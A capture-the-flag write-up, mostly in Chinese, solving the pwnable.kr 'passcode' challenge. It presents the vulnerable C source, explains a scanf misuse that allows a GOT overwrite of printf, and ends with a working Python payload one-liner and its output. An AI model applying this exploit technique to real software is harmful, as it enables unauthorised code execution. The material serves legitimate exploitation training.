pwnable.kr —— passcode

question#

1
2
3
4
5
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

题目要求我们使用ssh登录到服务器上查看ssh passcode@pwnable.kr -p2222,密码是guest,有的时候可能有身份的校验,这个时候需要加上参数-o StrictHostKeyChecking=no进行登录

passcode.c#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

analyse#

考点:

  • GOT表
  • scanf使用错误

可以看到在函数login中对scanf的使用错误,因此我们只要能控制passcode1的值,就可以控制写入的地址

同时welcome没有参数,login也没有参数,我们可以通过welcome中的name来控制login中的passcode1的值。

objdump -S passcode查看汇编代码可以看到,name位于ebp-0x70passcode1位于ebp-0x10passcode2位于ebp-0xc,但是name读入长度为100,无法覆盖到passcode2的值。
看下可执行文件中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

可以在passcode1覆盖为printf函数的GOT地址,然后再输入system函数位置,则下次执行printf时其实执行的是system("/etc/cat flag"),在这里要注意的是调用前的参数赋值等,system的执行位置应放在 0x80485e3

get flag#

1
2
3
4
5
passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

flagNow I can safely trust you that you have credential :)

评论